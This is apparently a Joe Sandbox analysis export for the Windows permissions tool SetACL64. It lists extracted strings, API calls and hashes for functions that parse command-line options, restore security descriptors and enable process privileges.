ERROR (internal) while processing command line: Backup/Restore file: , xrefs: 00007FF7C1702ECB, 00007FF7C1702FBB
revoke, xrefs: 00007FF7C170396B
-grp, xrefs: 00007FF7C1704DCB
prn, xrefs: 00007FF7C170223D
p_nc, xrefs: 00007FF7C170523C, 00007FF7C17053BC
-rec, xrefs: 00007FF7C1702B4F
cont, xrefs: 00007FF7C1702BC9
ERROR in command line: Invalid list what entry , xrefs: 00007FF7C1708130, 00007FF7C17084F4
ERROR in command line: Invalid parameter for option -rst specified: , xrefs: 00007FF7C17060A1
remtrst, xrefs: 00007FF7C1703F5F
deny, xrefs: 00007FF7C170391D
> in a parameter option -ownr specified: , xrefs: 00007FF7C170724C, 00007FF7C1707347
ERROR in command line: Invalid entry <, xrefs: 00007FF7C1706594, 00007FF7C1706696, 00007FF7C1706B47, 00007FF7C1706F50, 00007FF7C170704B, 00007FF7C1707238, 00007FF7C1707333, 00007FF7C1707515, 00007FF7C1707610, 00007FF7C17079E8, 00007FF7C1707AE3, 00007FF7C1708244, 00007FF7C170833F
-dom, xrefs: 00007FF7C1704574
srv, xrefs: 00007FF7C17021E5
Type 'SetACL -help' for help., xrefs: 00007FF7C1701B1D, 00007FF7C1704489, 00007FF7C1705E36, 00007FF7C1705F64, 00007FF7C1706018, 00007FF7C17060CC, 00007FF7C17061E7, 00007FF7C17062D5, 00007FF7C17063E9, 00007FF7C17064EB, 00007FF7C17065ED, 00007FF7C17066EF, 00007FF7C17067C8, 00007FF7C17068E2, 00007FF7C17069DD, 00007FF7C1706AB8, 00007FF7C1706BA0, 00007FF7C1706C79, 00007FF7C1706D9A, 00007FF7C1706E95, 00007FF7C1706FA9, 00007FF7C17070A4, 00007FF7C170717D, 00007FF7C1707291, 00007FF7C170738C, 00007FF7C1707467, 00007FF7C170756E, 00007FF7C1707669, 00007FF7C1707744, 00007FF7C170784B, 00007FF7C1707946, 00007FF7C1707A41, 00007FF7C1707B3C, 00007FF7C1707CA0, 00007FF7C1707D9B, 00007FF7C1707E96, 00007FF7C1707F91, 00007FF7C170808D, 00007FF7C1708189, 00007FF7C170829D, 00007FF7C1708398, 00007FF7C170854D, 00007FF7C17086B3, 00007FF7C170877B, 00007FF7C1708856
-ot, xrefs: 00007FF7C17020E3
ERROR in command line: Invalid trustee action entry , xrefs: 00007FF7C1706889
repldom, xrefs: 00007FF7C17047E5
aud_fail,aud_succ, xrefs: 00007FF7C1703A62
-lst, xrefs: 00007FF7C170545B
setgroup, xrefs: 00007FF7C1702774
remdom, xrefs: 00007FF7C1704797
> in a parameter option -ace specified: , xrefs: 00007FF7C17065A8, 00007FF7C17066AA
ERROR in command line: Invalid domain action entry , xrefs: 00007FF7C1706D41
tab, xrefs: 00007FF7C17056C8
-trst, xrefs: 00007FF7C1703CB9
ERROR while processing command line: Trustee file: , xrefs: 00007FF7C1706C4E
ace, xrefs: 00007FF7C1702470
aud_fail, xrefs: 00007FF7C1703A07
ERROR in command line: Invalid action specified: , xrefs: 00007FF7C1705F39
ERROR while processing command line: Owner: , xrefs: 00007FF7C170743C
in a parameter option -trst specified: , xrefs: 00007FF7C170689D, 00007FF7C1706998
> in a parameter option -dom specified: , xrefs: 00007FF7C1706F64, 00007FF7C170705F
could not be set!, xrefs: 00007FF7C170203D, 00007FF7C1702372, 00007FF7C17026EF, 00007FF7C17027CE, 00007FF7C1702EDF, 00007FF7C1702FCF, 00007FF7C1704472, 00007FF7C17067B1, 00007FF7C1707166, 00007FF7C1707450, 00007FF7C170772D, 00007FF7C1707BFE, 00007FF7C170845A, 00007FF7C17085FF
setprot, xrefs: 00007FF7C17029E7
ProcessCmdLine, xrefs: 00007FF7C1701B31, 00007FF7C1701EB7, 00007FF7C170205C, 00007FF7C1702391, 00007FF7C1702620, 00007FF7C1702708, 00007FF7C17027E7, 00007FF7C17028D2, 00007FF7C1702984, 00007FF7C1702A36, 00007FF7C1702AEC, 00007FF7C1702CD9, 00007FF7C1702EF8, 00007FF7C1702FE8, 00007FF7C1703184, 00007FF7C170324A, 00007FF7C170339B, 00007FF7C17044A2, 00007FF7C1705E59, 00007FF7C1705EDF, 00007FF7C1705F7D, 00007FF7C1706031, 00007FF7C17060E5, 00007FF7C1706162, 00007FF7C1706200, 00007FF7C17062EE, 00007FF7C1706402, 00007FF7C1706504, 00007FF7C1706606, 00007FF7C1706708, 00007FF7C17067E1, 00007FF7C17068FB, 00007FF7C17069F6, 00007FF7C1706AD1, 00007FF7C1706BB9, 00007FF7C1706C92, 00007FF7C1706DB3, 00007FF7C1706EAE, 00007FF7C1706FC2, 00007FF7C17070BD, 00007FF7C1707196, 00007FF7C17072AA, 00007FF7C17073A5, 00007FF7C1707480, 00007FF7C1707587, 00007FF7C1707682, 00007FF7C170775D, 00007FF7C1707864, 00007FF7C170795F, 00007FF7C1707A5A, 00007FF7C1707B55, 00007FF7C1707C17, 00007FF7C1707CB9, 00007FF7C1707DB4, 00007FF7C1707EAF, 00007FF7C1707FAA, 00007FF7C17080A6, 00007FF7C17081A2, 00007FF7C17082B6, 00007FF7C17083B1, 00007FF7C1708473, 00007FF7C1708566, 00007FF7C1708618, 00007FF7C17086CC, 00007FF7C170879E, 00007FF7C1708879
cpydom, xrefs: 00007FF7C1704833
-log, xrefs: 00007FF7C1703054
ERROR in command line: Invalid number of entries in parameter for option -op specified: , xrefs: 00007FF7C1707C75
-bckp, xrefs: 00007FF7C1702F64
ERROR while processing command line: ACE: , xrefs: 00007FF7C170679D
trustee, xrefs: 00007FF7C17024CB
ERROR in command line: Invalid input file (csv) entry in a parameter option -trst specified: , xrefs: 00007FF7C1706A8D
set, xrefs: 00007FF7C1703881
grant, xrefs: 00007FF7C17038CF
-os, xrefs: 00007FF7C1705C6E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID: Type 'SetACL -help' for help.$ could not be processed!$ could not be set!$ in a parameter option -ace specified: $ in a parameter option -dom specified: $ in a parameter option -lst specified: $ in a parameter option -op specified: $ in a parameter option -os specified: $ in a parameter option -trst specified: $-ace$-actn$-bckp$-clr$-dom$-fltr$-grp$-help$-ignoreerr$-log$-lst$-on$-op$-os$-ot$-ownr$-raw$-rec$-rst$-silent$-trst$> in a parameter option -ace specified: $> in a parameter option -dom specified: $> in a parameter option -grp specified: $> in a parameter option -lst specified: $> in a parameter option -op specified: $> in a parameter option -ownr specified: $> in a parameter option -trst specified: $ERROR (internal) while processing command line: Action: $ERROR (internal) while processing command line: Action: CLEARDACL could not be set!$ERROR (internal) while processing command line: Action: CLEARSACL could not be set!$ERROR (internal) while processing command line: Action: DELORPHANEDSIDS could not be set!$ERROR (internal) while processing command line: Action: RESETCHILDPERMS could not be set!$ERROR (internal) while processing command line: Action: SETINHFROMPAR could not be set!$ERROR (internal) while processing command line: Backup/Restore file: $ERROR (internal) while processing command line: list options: $ERROR (internal) while processing command line: object flags: $ERROR (internal) while processing command line: orphaned SID deletion options: $ERROR (internal) while processing command line: recursion type could not be set!$ERROR in command line: Invalid ACL type (where) entry $ERROR in command line: Invalid access mode entry $ERROR in command line: Invalid action specified: $ERROR in command line: Invalid domain action entry $ERROR in command line: Invalid entry <$ERROR in command line: Invalid inheritance entry $ERROR in command line: Invalid input file (csv) entry in a parameter option -trst specified: $ERROR in command line: Invalid list format entry $ERROR in command line: Invalid list what entry $ERROR in command line: Invalid number of entries in parameter for option -op specified: $ERROR in command line: Invalid object type specified: $ERROR in command line: Invalid option specified: $ERROR in command line: Invalid parameter for option -clr specified: $ERROR in command line: Invalid parameter for option -rst specified: $ERROR in command line: Invalid protection entry $ERROR in command line: Invalid recursion type specified: $ERROR in command line: Invalid trustee action entry $ERROR in command line: No parameter found for option $ERROR while processing command line: ACE: $ERROR while processing command line: Domain: $ERROR while processing command line: Owner: $ERROR while processing command line: Trustee file: $ERROR while processing command line: Trustee: $ERROR while processing command line: object (name, type): $ERROR while processing command line: primary group: $INFO: The restore action ignores the object name parameter (paths are read from the backup file). However, other actions that requ$ProcessCmdLine$WARNING: The parameter <%s> contains a double quotation mark (". Did you unintentionally escape a double quote? Hint: use <"C:\\">$ace$aud_fail$aud_fail,aud_succ$aud_succ$aud_succ,aud_fail$clear$cont$cont_obj$cpydom$cpytrst$csv$dacl$dacl,sacl$delorphanedsids$deny$domain$file$grant$list$obj$own$p_c$p_nc$prn$reg$remdom$remtrst$repldom$repltrst$restore$revoke$rstchldrn$sacl$sacl,dacl$sddl$set$setgroup$setowner$setprot$shr$srv$tab$trustee$wmi$yes
API String ID: 0-425451505
Opcode ID: 6b2fc4d373cf05abc5e4d6a0f530dc29495f5d2a2d032dd04ea78fda412acef8
Instruction ID: 1a550e23831c1b2226f35cb1fc20134a6e09d52c0896bc018e772e68017005a5
Opcode Fuzzy Hash: 6b2fc4d373cf05abc5e4d6a0f530dc29495f5d2a2d032dd04ea78fda412acef8
Instruction Fuzzy Hash: A3D33261A5978294EB20FF62DC512F9A360FF99364FC11032D50E4BADBEEACD645C360

Function 00007FF7C1741DAC Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 169libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7C1741DB9
GetProcAddress.KERNEL32 ref: 00007FF7C1741DCC
GetProcAddress.KERNEL32 ref: 00007FF7C1741DE3
GetProcAddress.KERNEL32 ref: 00007FF7C1741DFA
GetProcAddress.KERNEL32 ref: 00007FF7C1741E11
GetProcAddress.KERNEL32 ref: 00007FF7C1741E28
GetProcAddress.KERNEL32 ref: 00007FF7C1741E3F
GetProcAddress.KERNEL32 ref: 00007FF7C1741E56
GetProcAddress.KERNEL32 ref: 00007FF7C1741E6D
GetProcAddress.KERNEL32 ref: 00007FF7C1741E84
GetProcAddress.KERNEL32 ref: 00007FF7C1741E9B
GetProcAddress.KERNEL32 ref: 00007FF7C1741EB2
GetProcAddress.KERNEL32 ref: 00007FF7C1741EC9
GetProcAddress.KERNEL32 ref: 00007FF7C1741EE0
GetProcAddress.KERNEL32 ref: 00007FF7C1741EF7
GetProcAddress.KERNEL32 ref: 00007FF7C1741F0E
GetProcAddress.KERNEL32 ref: 00007FF7C1741F25
GetProcAddress.KERNEL32 ref: 00007FF7C1741F3C
GetProcAddress.KERNEL32 ref: 00007FF7C1741F53
GetProcAddress.KERNEL32 ref: 00007FF7C1741F6A
GetProcAddress.KERNEL32 ref: 00007FF7C1741F81
GetProcAddress.KERNEL32 ref: 00007FF7C1741F98
GetProcAddress.KERNEL32 ref: 00007FF7C1741FAF
GetProcAddress.KERNEL32 ref: 00007FF7C1741FC6
GetProcAddress.KERNEL32 ref: 00007FF7C1741FDD
GetProcAddress.KERNEL32 ref: 00007FF7C1741FF4
GetProcAddress.KERNEL32 ref: 00007FF7C174200B
GetProcAddress.KERNEL32 ref: 00007FF7C1742022
GetProcAddress.KERNEL32 ref: 00007FF7C1742039
GetProcAddress.KERNEL32 ref: 00007FF7C1742050
GetProcAddress.KERNEL32 ref: 00007FF7C1742067
GetProcAddress.KERNEL32 ref: 00007FF7C174207E
GetProcAddress.KERNEL32 ref: 00007FF7C1742095
GetProcAddress.KERNEL32 ref: 00007FF7C17420AC
GetProcAddress.KERNEL32 ref: 00007FF7C17420C3
GetProcAddress.KERNEL32 ref: 00007FF7C17420DA
GetProcAddress.KERNEL32 ref: 00007FF7C17420F1
GetProcAddress.KERNEL32 ref: 00007FF7C1742108
GetProcAddress.KERNEL32 ref: 00007FF7C174211F
GetProcAddress.KERNEL32 ref: 00007FF7C1742136
GetProcAddress.KERNEL32 ref: 00007FF7C174214D

Strings

InitializeCriticalSectionEx, xrefs: 00007FF7C1741E17
CreateEventExW, xrefs: 00007FF7C1741E45
InitOnceExecuteOnce, xrefs: 00007FF7C1741E2E
SleepConditionVariableCS, xrefs: 00007FF7C174203F
CreateSymbolicLinkW, xrefs: 00007FF7C1741F77
FlsGetValue, xrefs: 00007FF7C1741DE9
CloseThreadpoolWait, xrefs: 00007FF7C1741F14
LCMapStringEx, xrefs: 00007FF7C174213C
CreateThreadpoolTimer, xrefs: 00007FF7C1741E8A
GetTickCount64, xrefs: 00007FF7C1741F9E
SubmitThreadpoolWork, xrefs: 00007FF7C17420E0
CloseThreadpoolWork, xrefs: 00007FF7C17420F7
InitializeConditionVariable, xrefs: 00007FF7C1741FFA
FlsAlloc, xrefs: 00007FF7C1741DC2
GetFileInformationByHandleEx, xrefs: 00007FF7C1741FB5
SetThreadpoolWait, xrefs: 00007FF7C1741EFD
FlsSetValue, xrefs: 00007FF7C1741E00
FlushProcessWriteBuffers, xrefs: 00007FF7C1741F2B
FlsFree, xrefs: 00007FF7C1741DD2
CreateSemaphoreExW, xrefs: 00007FF7C1741E73
TryAcquireSRWLockExclusive, xrefs: 00007FF7C1742084
CreateThreadpoolWork, xrefs: 00007FF7C17420C9
WakeConditionVariable, xrefs: 00007FF7C1742011
ReleaseSRWLockExclusive, xrefs: 00007FF7C174209B
CreateSemaphoreW, xrefs: 00007FF7C1741E5C
CompareStringEx, xrefs: 00007FF7C174210E
AcquireSRWLockExclusive, xrefs: 00007FF7C174206D
WakeAllConditionVariable, xrefs: 00007FF7C1742028
GetSystemTimePreciseAsFileTime, xrefs: 00007FF7C1741FE3
WaitForThreadpoolTimerCallbacks, xrefs: 00007FF7C1741EB8
SleepConditionVariableSRW, xrefs: 00007FF7C17420B2
FreeLibraryWhenCallbackReturns, xrefs: 00007FF7C1741F42
GetCurrentPackageId, xrefs: 00007FF7C1741F87
InitializeSRWLock, xrefs: 00007FF7C1742056
SetThreadpoolTimer, xrefs: 00007FF7C1741EA1
CloseThreadpoolTimer, xrefs: 00007FF7C1741ECF
CreateThreadpoolWait, xrefs: 00007FF7C1741EE6
kernel32.dll, xrefs: 00007FF7C1741DB2
SetFileInformationByHandle, xrefs: 00007FF7C1741FCC
GetCurrentProcessorNumber, xrefs: 00007FF7C1741F59
GetLocaleInfoEx, xrefs: 00007FF7C1742125

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 8c265c905f78d9314ea8cbef84c94e4164f9315dedd1d7019d0be5ccefc16711
Instruction ID: ae664a0ba7b937bf104544c2aa0c5fea8c1b444ccc4b6a3ac8d1ea9fd0873748
Opcode Fuzzy Hash: 8c265c905f78d9314ea8cbef84c94e4164f9315dedd1d7019d0be5ccefc16711
Instruction Fuzzy Hash: D8A180A4A19B0791EB04EF66BC58468B7A5BB0E7A5FC45031C84D47326EFBDE19DC320

Function 00007FF7C1727B10 Relevance: 73.4, APIs: 30, Strings: 11, Instructions: 1631COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00007FF7C1727F47

Part of subcall function 00007FF7C1713F80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714104
Part of subcall function 00007FF7C1713F80: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C171410A

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF7C1728E2C
GetLastError.KERNEL32 ref: 00007FF7C1728E47

Part of subcall function 00007FF7C171BF60: GetLastError.KERNEL32 ref: 00007FF7C171BFCE

Part of subcall function 00007FF7C1714230: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171428B

GetLastError.KERNEL32 ref: 00007FF7C1729506
LocalFree.KERNEL32 ref: 00007FF7C17295C3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729622
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729628
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172962E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729634
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172963A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729640
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729646
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172964C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729658
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172965E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729664
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172966A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729670
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729676
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729682
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729688
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1729694
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172969A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17296A0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17296A6

Part of subcall function 00007FF7C1709520: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1709606
Part of subcall function 00007FF7C1709520: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C170960C

Strings

> because neither owner, group, DACL nor SACL were backed up., xrefs: 00007FF7C1728569
" , xrefs: 00007FF7C1728065
> failed with: , xrefs: 00007FF7C17292EE
DoActionRestore, xrefs: 00007FF7C1727D36, 00007FF7C17285BA, 00007FF7C172884F, 00007FF7C17289F2, 00007FF7C1728E9F, 00007FF7C1728FF1, 00007FF7C1729178, 00007FF7C172931A
Restoring SD of: <, xrefs: 00007FF7C1728988
Omitting SD of: <, xrefs: 00007FF7C172854F, 00007FF7C17287E4
Writing SD to <, xrefs: 00007FF7C17292DD
>: , xrefs: 00007FF7C1728E79, 00007FF7C1728FC5, 00007FF7C172914C
> because a filter keyword matched., xrefs: 00007FF7C17287FE
Input file for restore operation opened: ', xrefs: 00007FF7C1727CA6
Restoring SD of <, xrefs: 00007FF7C1728E65, 00007FF7C1728FB4, 00007FF7C172913B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLast$Concurrency::cancel_current_taskDescriptorFreeLocalSecurity$ConvertString
String ID: " $> because a filter keyword matched.$> because neither owner, group, DACL nor SACL were backed up.$> failed with: $>: $DoActionRestore$Input file for restore operation opened: '$Omitting SD of: <$Restoring SD of <$Restoring SD of: <$Writing SD to <
API String ID: 143920484-3190023557
Opcode ID: 15bc8f1a26296f697d3e6f5c2711eff66c31bdb87e4d1b345efa8cdd7b4d4860
Instruction ID: 0302c7a944a7feb35b374ce3ec547d8c1c91983fad989663a949c6bea3e1f089
Opcode Fuzzy Hash: 15bc8f1a26296f697d3e6f5c2711eff66c31bdb87e4d1b345efa8cdd7b4d4860
Instruction Fuzzy Hash: 6FF2A372A04B8185EB20AF76D8403ED6361FB487B8F905231EA5D47AEADFBCD585C350

Function 00007FF7C1738360 Relevance: 49.9, APIs: 25, Strings: 3, Instructions: 902COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32 ref: 00007FF7C1738401
GetLastError.KERNEL32 ref: 00007FF7C173840B
GetAce.ADVAPI32 ref: 00007FF7C173844A
IsValidSid.ADVAPI32 ref: 00007FF7C173846E
IsValidSid.ADVAPI32 ref: 00007FF7C17384AE
IsValidSid.ADVAPI32 ref: 00007FF7C1738D54
GetLastError.KERNEL32 ref: 00007FF7C1738D8E
IsValidSid.ADVAPI32 ref: 00007FF7C1738E0E
DeleteAce.ADVAPI32 ref: 00007FF7C1738FC4
GetLastError.KERNEL32 ref: 00007FF7C1738FFB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173918D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739193
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739199
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173919F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391AB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391B1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391BD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391D5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391E7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17391ED

Strings

> was not found in domain <, xrefs: 00007FF7C17388D1
Account <, xrefs: 00007FF7C17388B7
ProcessACEsOfGivenDomains, xrefs: 00007FF7C17389C6

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Valid$ErrorLast$DeleteInformation
String ID: > was not found in domain <$Account <$ProcessACEsOfGivenDomains
API String ID: 2636496183-3371799133
Opcode ID: 9a3de9c15898c57846f777a987bea00d9bf1c6b9597bda2110fe323b3954fc78
Instruction ID: fd9e01890ddf05ce178a24b5f8a414f88d95fb750e8f0c9f95e2646023d68b7d
Opcode Fuzzy Hash: 9a3de9c15898c57846f777a987bea00d9bf1c6b9597bda2110fe323b3954fc78
Instruction Fuzzy Hash: 3E827162B1878285EB10AF6AD4443ADA361FB497B8FD04235DA5D47BDADFBCE190C310

Function 00007FF7C173A630 Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 388memoryCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173A681
IsValidSecurityDescriptor.ADVAPI32 ref: 00007FF7C173A6B5
SysAllocString.OLEAUT32 ref: 00007FF7C173A6EF
SysAllocString.OLEAUT32 ref: 00007FF7C173A73B
SysAllocString.OLEAUT32 ref: 00007FF7C173A7C0

Strings

__systemsecurity=@, xrefs: 00007FF7C173A6E8, 00007FF7C173AAA8
w, xrefs: 00007FF7C173A9B6
$x, xrefs: 00007FF7C173A977
2z, xrefs: 00007FF7C173A79D
__systemsecurity, xrefs: 00007FF7C173A734
SetSD, xrefs: 00007FF7C173A7B9
t5x, xrefs: 00007FF7C173A964
GetSD, xrefs: 00007FF7C173AAF6

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocString$DescriptorSecurityValid_invalid_parameter_noinfo_noreturn
String ID: GetSD$SetSD$__systemsecurity$__systemsecurity=@$t5x$$x$2z$w
API String ID: 1218313072-3940533286
Opcode ID: 573fd55f4af3a90e586db8418e43b378526fcc2e4e962f79aabb54a16630bbf7
Instruction ID: f06402369aaa7f097f833a8a59561b750d9e82f58d50f318d0e99dc7ae0f9426
Opcode Fuzzy Hash: 573fd55f4af3a90e586db8418e43b378526fcc2e4e962f79aabb54a16630bbf7
Instruction Fuzzy Hash: A6F18936B09B0286EB54EF26E4553ACB3A0EF48B64F944435CA4D83B96DFBCD454C360

Function 00007FF7C17142A0 Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 286COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7C17142DA
OpenProcessToken.ADVAPI32 ref: 00007FF7C17142EC
GetLastError.KERNEL32 ref: 00007FF7C17142F6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7C171431F
GetLastError.KERNEL32 ref: 00007FF7C1714329
CloseHandle.KERNEL32 ref: 00007FF7C1714336
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171471E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171472A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714730
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714736
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171473C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714742
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714748

Strings

the privilege , xrefs: 00007FF7C1714412
Enabling, xrefs: 00007FF7C17143BE
failed with: , xrefs: 00007FF7C171447D
SetPrivilege, xrefs: 00007FF7C17144D9

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
